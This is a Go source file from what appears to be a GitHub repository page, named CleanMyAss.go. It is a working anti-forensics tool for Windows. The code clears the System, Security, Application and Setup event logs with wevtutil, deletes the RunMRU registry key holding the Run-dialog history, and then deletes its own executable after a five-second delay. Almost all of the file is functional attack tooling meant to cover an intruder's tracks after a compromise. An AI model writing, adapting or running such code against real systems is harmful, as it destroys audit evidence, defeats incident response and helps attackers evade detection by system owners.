-
Notifications
You must be signed in to change notification settings - Fork 2
/
CleanMyAss.go
112 lines (92 loc) · 2.03 KB
/
CleanMyAss.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
package main
import (
"fmt"
"os"
"os/exec"
"runtime"
"strings"
"syscall"
"time"
"golang.org/x/sys/windows/registry"
)
func SystemType() string {
return runtime.GOOS
}
func AutoDelete() string {
print("Done, Self-destruction in 5sec")
time.Sleep(5 * time.Second)
var sI syscall.StartupInfo
var pI syscall.ProcessInformation
argv := syscall.StringToUTF16Ptr(os.Getenv("windir") + "\\system32\\cmd.exe /C del " + os.Args[0])
err := syscall.CreateProcess(
nil,
argv,
nil,
nil,
true,
0,
nil,
nil,
&sI,
&pI)
if err != nil {
fmt.Printf("Return: %d\n", err)
}
return ""
}
func CleanReg() (err error) {
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU`, registry.ALL_ACCESS)
if err != nil {
// log.Fatal(err)
return err
}
defer k.Close()
err = registry.DeleteKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU`)
if err != nil {
return err
}
return nil
}
func RunCommand(command, arg1, arg2 string) string {
cmd := exec.Command(command, arg1, arg2)
output, err := cmd.Output()
if err != nil {
fmt.Printf("[+] Command failed with %s\n", err.Error())
return ""
}
// ripe away \n
// return string(output[:len(output)-1])
return string(output)
}
func ClearLogs() bool {
switch SystemType() {
case "windows":
output1 := RunCommand("wevtutil.exe", "cl", "System")
output2 := RunCommand("wevtutil.exe", "cl", "Security")
output3 := RunCommand("wevtutil.exe", "cl", "Application")
output4 := RunCommand("wevtutil.exe", "cl", "Setup")
CleanReg()
output6 := AutoDelete()
if strings.Contains(output1, "Access is denied") {
return false
}
if strings.Contains(output2, "Access is denied") {
return false
}
if strings.Contains(output3, "Access is denied") {
return false
}
if strings.Contains(output4, "Access is denied") {
return false
}
if strings.Contains(output6, "Access is denied") {
return false
}
return true
default:
return false
}
}
func main() {
ClearLogs()
}